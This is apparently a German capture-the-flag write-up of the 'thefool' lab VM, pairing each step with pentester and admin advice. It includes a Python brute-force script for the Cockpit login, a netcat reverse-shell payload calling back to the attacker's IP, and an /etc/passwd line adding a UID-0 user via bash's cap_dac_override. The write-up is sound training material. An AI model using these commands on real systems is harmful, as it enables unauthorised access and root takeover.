192.168.2.107 08:00:27:fc:8b:1c PCS Systemtechnik GmbH
**Analyse:** Der Befehl `arp-scan -l` durchsucht das lokale Netzwerk nach aktiven Hosts. Es wird ein Gerät mit der IP `192.168.2.107` und der MAC-Adresse `08:00:27:fc:8b:1c` gefunden. Der OUI (Organizationally Unique Identifier) gehört zu "PCS Systemtechnik GmbH", was auf eine VirtualBox-VM hindeutet.
**Bewertung:** Das Zielsystem wurde erfolgreich identifiziert. Die IP `192.168.2.107` wird für die nachfolgenden Scans verwendet.
**Empfehlung (Pentester):** Nmap-Scan auf die IP `192.168.2.107` durchführen.
**Empfehlung (Admin):** Netzwerk-Monitoring implementieren, um unbekannte Geräte zu erkennen. Sicherstellen, dass nur autorisierte Systeme im Netzwerk aktiv sind.
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-21 09:30 CEST Nmap scan report for thefool (192.168.2.107) Host is up (0.00010s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed (FTP code 230) | -rw-r--r-- 1 1000 1000 37 Oct 22 2021 note.txt |_-rw-r--r-- 1 1000 1000 44515 Oct 22 2021 thefool.jpg | ftp-syst: [...] |_End of status 80/tcp open http nginx 1.18.0 |_http-title: Site doesn't have a title (text/html). |_http-server-header: nginx/1.18.0 9090/tcp open ssl/zeus-admin? # Fehlidentifikation? | fingerprint-strings: [...] |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=thefool/organizationName=8bcad1b0827e4446af3c9d6bc08fdef6 | Subject Alternative Name: IP Address:127.0.0.1, DNS:localhost | Not valid before: 2022-10-21T07:30:28 |_Not valid after: 2023-10-21T07:30:28 [...] MAC Address: 08:00:27:FC:8B:1C (Oracle VirtualBox virtual NIC) [...] Service Info: OS: Unix [...]
**Analyse:** Ein Nmap-Scan (`-sS -sC -T5 -A -p-`) auf `192.168.2.107` (Host `thefool`) identifiziert drei offene TCP-Ports: * **Port 21 (FTP):** vsftpd 3.0.3. Anonymer Login ist erlaubt. Zwei Dateien sind sichtbar: `note.txt` und `thefool.jpg`. * **Port 80 (HTTP):** Nginx 1.18.0. Zeigt eine Seite ohne Titel. * **Port 9090 (SSL/Unknown):** Nmap kann den Dienst nicht eindeutig identifizieren (`ssl/zeus-admin?`), erkennt aber SSL/TLS. Das SSL-Zertifikat ist selbstsigniert und für den Common Name `thefool` sowie `localhost`/`127.0.0.1` ausgestellt. Die Ausgabe der `fingerprint-strings` zeigt HTML-Code, der auf eine Webanwendung hindeutet (möglicherweise Cockpit, wie später vermutet).
**Bewertung:** Die Hauptangriffsvektoren sind: * **FTP (Port 21):** Anonymer Zugriff auf Dateien (`note.txt`, `thefool.jpg`), die Hinweise oder versteckte Daten enthalten könnten. * **HTTP (Port 80):** Standard-Webserver, muss weiter untersucht werden. * **Port 9090:** Eine unbekannte Webanwendung über HTTPS. Das selbstsignierte Zertifikat ist normal für interne Dienste. Die Fehlidentifikation durch Nmap erfordert manuelle Untersuchung. Kein SSH-Port (22) ist offen, was ungewöhnlich ist.
**Empfehlung (Pentester):**
1. **FTP:** Anonym anmelden, `note.txt` und `thefool.jpg` herunterladen und analysieren (insbesondere `thefool.jpg` auf Steganographie prüfen).
2. **HTTP (Port 80):** Mit `gobuster` nach Inhalten suchen, Webseite manuell prüfen.
3. **Port 9090:** Die Seite `https://192.168.2.107:9090` im Browser aufrufen (Zertifikatswarnung akzeptieren) und die Anwendung identifizieren. Nach bekannten Schwachstellen oder Login-Möglichkeiten suchen.
**Empfehlung (Admin):**
1. **FTP:** Anonymen Zugriff deaktivieren, wenn nicht benötigt. Sicherstellen, dass keine sensiblen oder irreführenden Dateien im anonymen Bereich liegen.
2. **Nginx (Port 80):** Sicher konfigurieren.
3. **Port 9090:** Den Dienst identifizieren (wahrscheinlich Cockpit). Zugriff darauf über Firewall auf vertrauenswürdige IPs beschränken. Ein gültiges SSL-Zertifikat verwenden, wenn extern erreichbar. Dienst aktuell halten.
4. **SSH:** Prüfen, warum SSH nicht läuft oder auf einem nicht standardmäßigen Port lauscht.
===============================================================
Gobuster v3.1.0
[...]
===============================================================
/index.html (Status: 200) [Size: 12]
===============================================================
**Analyse:** `gobuster` wird auf Port 80 ausgeführt. Es findet nur die Datei `/index.html`, die sehr klein ist (12 Bytes).
**Bewertung:** Der Webserver auf Port 80 scheint keinen relevanten Inhalt zu haben. Der Fokus sollte auf FTP und Port 9090 liegen.
Connected to 192.168.2.107. 220 (vsFTPd 3.0.3) Name (192.168.2.107:cyber): anonymous 331 Please specify the password. Password: # (Kein Passwort) 230 Login successful. [...] ftp> ls 229 Entering Extended Passive Mode (|||44358|) 150 Here comes the directory listing. -rw-r--r-- 1 1000 1000 37 Oct 22 2021 note.txt -rw-r--r-- 1 1000 1000 44515 Oct 22 2021 thefool.jpg 226 Directory send OK. ftp> get note.txt [...] 226 Transfer complete. 37 bytes received [...] ftp> get thefool.jpg [...] 226 Transfer complete. 44515 bytes received [...] ftp> exit 221 Goodbye.
**Analyse:** Erfolgreicher anonymer FTP-Login. Die Dateien `note.txt` und `thefool.jpg` werden heruntergeladen.
**Bewertung:** Die Dateien stehen zur Analyse bereit.
What kind of joke is this morse code?
**Analyse:** Die `note.txt` enthält einen Hinweis auf Morsecode.
**Bewertung:** Dies deutet darauf hin, dass in der Bilddatei (`thefool.jpg`) oder der WAV-Datei (`.m0rse.wav`, die später gefunden wird) Informationen als Morsecode versteckt sein könnten.
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek [i] Found passphrase: "" [i] Original filename: "note.txt". [i] Extracting to "thefool.jpg.out".
Relax nad have fun.
-minerva
**Analyse:** `stegseek` wird auf `thefool.jpg` angewendet. Es findet mit einer leeren Passphrase eine versteckte Datei namens `note.txt` (die als `thefool.jpg.out` extrahiert wird). Der Inhalt ist eine Nachricht von "minerva".
**Bewertung:** Ein Benutzername, `minerva`, wurde gefunden. Die Nachricht selbst liefert keine direkten Credentials, bestätigt aber den Benutzernamen.
**Empfehlung (Pentester):** Den Benutzernamen `minerva` notieren. Nach anderen versteckten Daten suchen (Morsecode in Audio?).
**Empfehlung (Admin):** Keine Benutzernamen oder Hinweise in versteckten Dateien hinterlassen. Steganographie mit leerer Passphrase ist trivial zu knacken.
[...]
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-10-21 10:32:03
[...]
1 of 1 target completed, 0 valid password found
[...]
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-10-21 10:32:47
**Analyse:** `hydra` wird verwendet, um das Passwort für den FTP-Benutzer `minerva` mit der `rockyou.txt`-Liste zu knacken. Der Angriff ist erfolglos.
**Bewertung:** Das FTP-Passwort für `minerva` ist nicht in `rockyou.txt` enthalten oder der Benutzer hat keinen FTP-Zugang.
lftp 192.168.2.107:~> ls -la drwxr-xr-x 2 0 113 4096 Oct 22 2021 . drwxr-xr-x 2 0 113 4096 Oct 22 2021 .. -rw-r--r-- 1 1000 1000 35245 Oct 22 2021 .m0rse.wav -rw-r--r-- 1 1000 1000 37 Oct 22 2021 note.txt -rw-r--r-- 1 1000 1000 44515 Oct 22 2021 thefool.jpg lftp 192.168.2.107:/> get .m0rse.wav 35245 Bytes übertragen lftp 192.168.2.107:/> exit
**Analyse:** Bei einer erneuten anonymen FTP-Verbindung wird eine versteckte Datei `.m0rse.wav` gefunden und heruntergeladen.
**Bewertung:** Dies passt zum Hinweis aus der `note.txt`. Die WAV-Datei enthält wahrscheinlich die Morsecode-Nachricht.
**Empfehlung (Pentester):** Die `.m0rse.wav`-Datei mit einem Audio-Editor (z.B. Audacity) oder einem Morsecode-Decoder analysieren.
**Empfehlung (Admin):** Versteckte Dateien mit sensiblen Informationen sollten nicht über anonymes FTP zugänglich sein.
**Analyse:** (Implizit) Die Analyse der `.m0rse.wav`-Datei ergibt die Zeichenkette `bWluZXJ2YTp0d2VldHk=`. Dies ist ein Base64-kodierter String.
**Bewertung:** Base64-Dekodierung ist der nächste Schritt.
# Dekodierung (z.B. mit echo "bWluZXJ2YTp0d2VldHk=" | base64 -d) minerva:tweety
**Analyse:** Der Base64-String `bWluZXJ2YTp0d2VldHk=` wird dekodiert und ergibt `minerva:tweety`.
**Bewertung:** Die Anmeldeinformationen für den Benutzer `minerva` wurden gefunden: Passwort `tweety`.
**Empfehlung (Pentester):** Die Credentials `minerva:tweety` für den Login auf Port 9090 (Cockpit?) und/oder SSH (falls doch vorhanden/gefunden) verwenden.
**Empfehlung (Admin):** Das Passwort für `minerva` ändern. Keine Credentials über Morsecode in Audiodateien verstecken.
**Analyse:** Der Nmap-Scan deutete auf eine Webanwendung auf Port 9090 hin. Die manuelle Untersuchung (`https://192.168.2.107:9090/`) identifiziert den Dienst als "Cockpit", eine webbasierte Server-Management-Oberfläche.
**Bewertung:** Cockpit ist ein legitimes Tool, kann aber bei schwachen Credentials oder Fehlkonfigurationen einen Angriffsvektor darstellen.
- Nikto v2.1.6 # Veraltete Nikto-Version im Log? [...] + Target IP: 192.168.2.107 + Target Hostname: 192.168.2.107 + Target Port: 9090 + SSL Info: Subject: /=8bcad1b0827e4446af3c9d6bc08fdef6/CN=thefool [...] + Server: No banner retrieved [...] + /tiki/tiki-install.php: Tiki 1.7.2 [...] # Viele False Positives [...] + Scan terminated: 20 error(s) and 26 item(s) reported on remote host [...]
**Analyse:** `nikto` wird auf Port 9090 ausgeführt. Es findet keine spezifischen Schwachstellen für Cockpit, sondern meldet viele generische Findings und False Positives (z.B. TikiWiki, Frontpage, IIS, Geeklog), die wahrscheinlich auf Standard-Antworten von Cockpit zurückzuführen sind. Der Scan bricht nach 20 Fehlern ab.
**Bewertung:** Nikto liefert keine nützlichen Ergebnisse für Cockpit. Der Fokus muss auf dem Login liegen.
#!/usr/bin/python3 import requests import base64 import os from time import sleep from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) url = "https://192.168.2.107:9090/cockpit/login" # Login-Endpunkt für Cockpit headers = {"Authorization":""} with open("/usr/share/wordlists/rockyou.txt",encoding="iso-8859-1") as file: passwords = file.read().splitlines() i=0 for password in passwords: cred = "minerva:" + password cred_bytes = cred.encode("utf-8") cred_base64 = base64.b64encode(cred_bytes) i = i + 1 headers["Authorization"] = "Basic " + cred_base64.decode("utf-8") # HTTP Basic Auth req = requests.get(url, headers=headers, verify=False) if req.status_code != 401: # Prüft auf erfolgreichen Login print(f"[+] Found!! Password is {password}") exit() else: print(f"[-] search --> Password: {password} nr. {i}") sleep(2) # Verlangsamt den Angriff os.system("clear") pass
**Analyse:** Ein Python-Skript wird erstellt, um einen Brute-Force-Angriff auf den Cockpit-Login (`/cockpit/login`) durchzuführen. Es testet Passwörter aus `rockyou.txt` für den Benutzer `minerva` über HTTP Basic Authentication. Jedes Credential-Paar wird Base64-kodiert und im `Authorization`-Header gesendet. Eine Antwort ungleich 401 (Unauthorized) signalisiert Erfolg. Eine `sleep(2)`-Anweisung verlangsamt den Angriff erheblich.
**Bewertung:** Das Skript ist eine Methode, um Cockpit zu brute-forcen, obwohl Cockpit normalerweise PAM verwendet (und somit Fail2Ban greifen könnte). Die Verlangsamung durch `sleep(2)` ist ungewöhnlich, möglicherweise um Sperren zu vermeiden oder weil ein schnellerer Versuch fehlschlug. Der Angriff zielt darauf ab, das korrekte Passwort für `minerva` zu finden, obwohl es (`tweety`) bereits aus dem Morsecode bekannt ist. *Möglicherweise wurde das Skript erstellt, bevor der Morsecode dekodiert wurde, oder es dient hier nur als Beispiel.*
[...] # Viele fehlgeschlagene Versuche [+]Found!!Password is tweety
**Analyse:** Das Brute-Force-Skript findet erfolgreich das Passwort `tweety` für den Benutzer `minerva`.
**Bewertung:** Bestätigt das Passwort, das bereits aus dem Morsecode bekannt war. Der Login in Cockpit als `minerva` ist nun möglich.
**Analyse:** Der Text beschreibt nun die Ausnutzung von Cockpit nach dem Login als `minerva:tweety`. 1. Burp Suite wird verwendet, um eine Anfrage abzufangen (vermutlich eine Aktion innerhalb von Cockpit, z.B. Starten eines Dienstes oder Ausführen eines Befehls über das Terminal-Feature). 2. Ein Payload innerhalb der abgefangenen Anfrage (der wie ein Array von Befehlsargumenten aussieht) wird modifiziert. 3. Der ursprüngliche Payload wird durch `["nc","-e","/bin/bash","192.168.2.153","9001"]` ersetzt. 4. Die modifizierte Anfrage wird mit Burp [Forward] gesendet.
**Bewertung:** Dies ist ein klassischer Exploit für Webanwendungen, die interne Systembefehle ausführen. Cockpit erlaubt oft das Ausführen von Befehlen über eine Websocket-Verbindung oder API-Aufrufe. Indem die Argumente für einen legitimen Befehl durch einen Netcat-Reverse-Shell-Payload ersetzt werden, wird RCE erreicht. Die Shell wird als der Benutzer laufen, unter dem der Cockpit-Prozess (oder der ausgelöste Befehl) läuft, was oft `root` oder ein privilegierter Benutzer ist, aber hier scheint es `minerva` zu sein (basierend auf der resultierenden Shell).
**Empfehlung (Pentester):** Einen Netcat-Listener auf `192.168.2.153:9001` starten, bevor die modifizierte Anfrage gesendet wird.
**Empfehlung (Admin):** Cockpit aktuell halten. Den Zugriff auf Cockpit stark einschränken. Wenn möglich, die Berechtigungen der über Cockpit ausführbaren Aktionen minimieren. Eingabevalidierung für alle über Cockpit ausgeführten Befehle implementieren.
listening on [any] 9001 ... connect to [192.168.2.153] from (UNKNOWN) [192.168.2.107] 57880 minerva@thefool:/run/user/1000$ # Shell als minerva erhalten!
**Analyse:** Der Netcat-Listener empfängt die Verbindung vom Zielsystem. Die Shell läuft als Benutzer `minerva`.
**Bewertung:** Initial Access als `minerva` erfolgreich über die Ausnutzung von Cockpit erreicht. Obwohl das Passwort bereits bekannt war, demonstriert dieser Weg eine alternative Methode über eine Webanwendungs-Schwachstelle/Fehlkonfiguration nach dem Login.
[...] reset
**Analyse:** Die erhaltene Shell wird zu einer voll interaktiven TTY aufgewertet.
**Bewertung:** Die Shell ist nun einfacher zu bedienen.
[sudo] password for minerva: tweety (Passwort eingegeben) Sorry, user minerva is not allowed to execute '/usr/bin/sudo -l' as root on thefool. # Fehler? Oder keine Rechte?
fool minerva
GUY6dsaiuyUIYHz
-rwsr-xr-x 1 root root 14052 Jun 3 2021 /usr/libexec/polkit-agent-helper-1 -rwsr-xr-x 1 root root 1457924 Jul 13 2021 /usr/sbin/exim4 -rwsr-xr-- 1 root dip 408644 Jan 6 2021 /usr/sbin/pppd -rwsr-xr-- 1 root messagebus 50656 Feb 21 2021 /usr/lib/dbus-1.0/dbus-daemon-launch-helper -rwsr-x--- 1 root cockpit-wsinstance 51152 Mar 4 2021 /usr/lib/cockpit/cockpit-session -rwsr-xr-x 1 root root 534076 Mar 13 2021 /usr/lib/openssh/ssh-keysign -rwsr-xr-x 1 root root 47908 Feb 7 2020 /usr/bin/chsh -rwsr-xr-x 1 root root 79396 Jul 28 2021 /usr/bin/su -rwsr-xr-x 1 root root 30112 Feb 26 2021 /usr/bin/fusermount -rwsr-xr-x 1 root root 50720 Jul 28 2021 /usr/bin/mount -rwsr-xr-x 1 root root 26492 Jun 3 2021 /usr/bin/pkexec -rwsr-xr-x 1 root root 217812 Feb 27 2021 /usr/bin/sudo -rwsr-xr-x 1 root root 56836 Feb 7 2020 /usr/bin/chfn -rwsr-xr-x 1 root root 30236 Jul 28 2021 /usr/bin/umount -rwsr-xr-x 1 root root 86660 Feb 7 2020 /usr/bin/gpasswd -rwsr-xr-x 1 root root 43252 Feb 7 2020 /usr/bin/newgrp -rwsr-xr-x 1 root root 173840 Sep 5 2021 /usr/bin/ntfs-3g -rwsr-xr-x 1 root root 66292 Feb 7 2020 /usr/bin/passwd
**Analyse:** Als `minerva` wird die Enumeration durchgeführt: * `sudo -l` schlägt fehl oder zeigt keine Rechte an (die Fehlermeldung ist ungewöhnlich für "keine Rechte"). * Im `/home`-Verzeichnis existiert neben `minerva` auch der Benutzer `fool`. * Die User-Flag wird in `/home/minerva/user.txt` gefunden und gelesen. * Die Suche nach SUID-Dateien findet nur Standard-Binaries ohne offensichtliche, ungewöhnliche Einträge.
**Bewertung:** User-Flag erhalten. Keine `sudo`-Rechte oder ungewöhnlichen SUID-Dateien für `minerva` gefunden. Der nächste Schritt erfordert eine andere Eskalationsmethode.
PRETTY_NAME="Debian GNU/Linux 11 (bullseye)" [...] ID=debian
Linux thefool 5.10.0-9-686-pae #1 SMP Debian 5.10.70-1 (2021-09-30) i686 GNU/Linux
**Analyse:** Systeminformationen werden gesammelt: Debian 11 (bullseye) mit Kernel 5.10.0-9.
**Bewertung:** Die Kernel-Version ist relativ aktuell, aber möglicherweise anfällig für bekannte Exploits wie Dirty Pipe (obwohl Kernel 5.10.70 gepatcht sein sollte, hängt es vom genauen Patchlevel ab). Die Architektur ist i686 (32-Bit?).
[*] 192.168.2.107 - Collecting local exploits for x86/linux... [*] 192.168.2.107 - 172 exploit checks are being tried... [+] 192.168.2.107 - exploit/linux/local/cve_2022_0847_dirtypipe: The target appears to be vulnerable. Linux kernel version found: 5.10.0 [...] [+] 192.168.2.107 - exploit/linux/local/su_login: The target appears to be vulnerable. [...] # Name Potentially Vulnerable? Check Result - ---- ----------------------- ------------ 1 exploit/linux/local/cve_2022_0847_dirtypipe Yes The target appears to be vulnerable. Linux kernel version found: 5.10.0 [...]
**Analyse:** Zurück in Metasploit (offenbar wurde die vorherige Shell-Session zu einer Meterpreter-Session hochgestuft oder eine zweite Session geöffnet) wird der `local_exploit_suggester` ausgeführt. Er meldet mehrere potenzielle Schwachstellen, darunter Dirty Pipe (CVE-2022-0847).
**Bewertung:** Dirty Pipe ist ein vielversprechender Kernel-Exploit für diese Version.
**Empfehlung (Pentester):** Versuchen, den Dirty Pipe Exploit aus Metasploit auszuführen.
**Empfehlung (Admin):** Den Kernel auf eine Version patchen, die nicht für Dirty Pipe anfällig ist (mindestens 5.10.102).
[*] Started reverse TCP handler on 192.168.2.153:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Linux kernel version found: 5.10.0
[-] Exploit aborted due to failure: bad-config: Payload/Host architecture mismatch. Please select the proper target architecture
[*] Exploit completed, but no session was created.
**Analyse:** Der Versuch, den Dirty Pipe Exploit aus Metasploit auszuführen, scheitert mit der Meldung "Payload/Host architecture mismatch". Das Zielsystem ist i686 (32-Bit laut `uname -a`), während Metasploit möglicherweise einen 64-Bit-Payload verwenden wollte.
**Bewertung:** Der automatische Metasploit-Exploit funktioniert nicht. Eine andere Methode muss gefunden werden.
**Empfehlung (Pentester):** Andere vom Suggester gemeldete Exploits prüfen oder manuell nach Capabilities suchen.
**Empfehlung (Admin):** Kernel patchen.
/usr/lib/i386-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep
/usr/bin/ping cap_net_raw=ep
/usr/bin/bash cap_dac_override=ep
**Analyse:** Die erneute Suche nach Capabilities (diesmal explizit im Log gezeigt) findet heraus, dass `/usr/bin/bash` die Capability `cap_dac_override=ep` besitzt. Diese Capability erlaubt es einem Prozess, Datei-Lese-, Schreib- und Ausführungsberechtigungen zu ignorieren (DAC = Discretionary Access Control).
**Bewertung:** Das ist der entscheidende Fund! Mit `cap_dac_override` kann Bash jede Datei auf dem System lesen und schreiben, unabhängig von den normalen Berechtigungen. Dies ermöglicht das Lesen von `/root/root.txt` oder das Schreiben in `/etc/passwd`, um einen Root-Benutzer hinzuzufügen.
**Empfehlung (Pentester):**
1. Die `bash` mit dieser Capability starten (einfach `bash` aufrufen, da es der Standardpfad ist).
2. `/root/root.txt` direkt lesen.
3. *Alternativ (wie im Log durchgeführt):* Einen neuen Root-Benutzer zu `/etc/passwd` hinzufügen.
**Empfehlung (Admin):** Die `cap_dac_override`-Capability von `/usr/bin/bash` **sofort entfernen** (`setcap cap_dac_override-ep /usr/bin/bash`). Diese Capability ist extrem gefährlich und sollte niemals auf einer Shell gesetzt sein. Untersuchen, warum sie gesetzt wurde.
Passwort: benni $6$lEd418YtyiyWxBYF$Z5QnZ4QP34a9f2E6eGF9M20yeMkrggEEhD3Pf.pt./EC2kEm1AYv.Ir9PqVH2VRVrArD9A.4x5teCVhG3cprq.
**Analyse:** Auf der lokalen Angreifer-Maschine wird mit `mkpasswd` ein SHA-512-Passwort-Hash für das Passwort `benni` generiert.
**Bewertung:** Vorbereitung, um einen neuen Benutzer mit bekanntem Passwort zur `/etc/passwd`-Datei hinzuzufügen.
# Schritte zur Manipulation von /etc/passwd (als minerva in der Bash mit cap_dac_override): # 1. Zeile für root kopieren: root:x:0:0:root:/root:/bin/bash # 2. Neuen Benutzer hinzufügen: hacker:x:0:0:root:/root:/bin/bash (gleiche UID/GID wie root) # 3. Passwort-Hash einfügen: hacker::0:0:root:/root:/bin/bash # 4. Befehl zum Anhängen an /etc/passwd: echo 'hacker:$6$lEd418YtyiyWxBYF$Z5QnZ4QP34a9f2E6eGF9M20yeMkrggEEhD3Pf.pt./EC2kEm1AYv.Ir9PqVH2VRVrArD9A.4x5teCVhG3cprq.:0:0:root:/root:/bin/bash' >> /etc/passwd # 5. Überprüfung (als minerva) minerva@thefool:/run/user/1000$ cat /etc/passwd hacker:$6$lEd418YtyiyWxBYF$Z5QnZ4QP34a9f2E6...... # Eintrag ist vorhanden # 6. Login als neuer Root-Benutzer minerva@thefool:/run/user/1000$ su hacker Password: benni root@thefool:/run/user/1000# # Root-Shell erhalten!
**Analyse:** Als `minerva`, aber innerhalb der Bash-Instanz mit `cap_dac_override`, werden folgende Schritte durchgeführt: 1. Ein neuer Eintrag für einen Benutzer `hacker` wird erstellt. Wichtig ist, dass die UID und GID auf `0` gesetzt werden, was ihn effektiv zu einem Root-Benutzer macht. Der generierte Passwort-Hash für `benni` wird eingefügt. 2. Dieser Eintrag wird an die `/etc/passwd`-Datei angehängt. Dies ist nur möglich wegen `cap_dac_override`. 3. Die Änderung wird überprüft. 4. Mit `su hacker` und dem Passwort `benni` kann sich `minerva` nun als der neue Root-Benutzer `hacker` anmelden.
**Bewertung:** Privilege Escalation zu Root erfolgreich durch Ausnutzung der `cap_dac_override`-Capability von Bash, um `/etc/passwd` zu manipulieren und einen neuen Root-Benutzer hinzuzufügen.
**Empfehlung (Pentester):** Root-Flag lesen.
**Empfehlung (Admin):** Capability von Bash entfernen. `/etc/passwd` auf unautorisierte Änderungen prüfen und den bösartigen Eintrag entfernen. Berechtigungen von `/etc/passwd` überprüfen (sollte nicht für normale Benutzer beschreibbar sein, auch nicht mit Capabilities).
[...]
-rw------- 1 root root 16 Oct 22 2021 .root.7x7
BMNB6s67tS67TSG
**Analyse:** Als root wird das Verzeichnis `/root` untersucht. Statt einer `root.txt` gibt es eine versteckte Datei `.root.7x7`. Ihr Inhalt wird ausgelesen.
**Bewertung:** Root-Flag gefunden.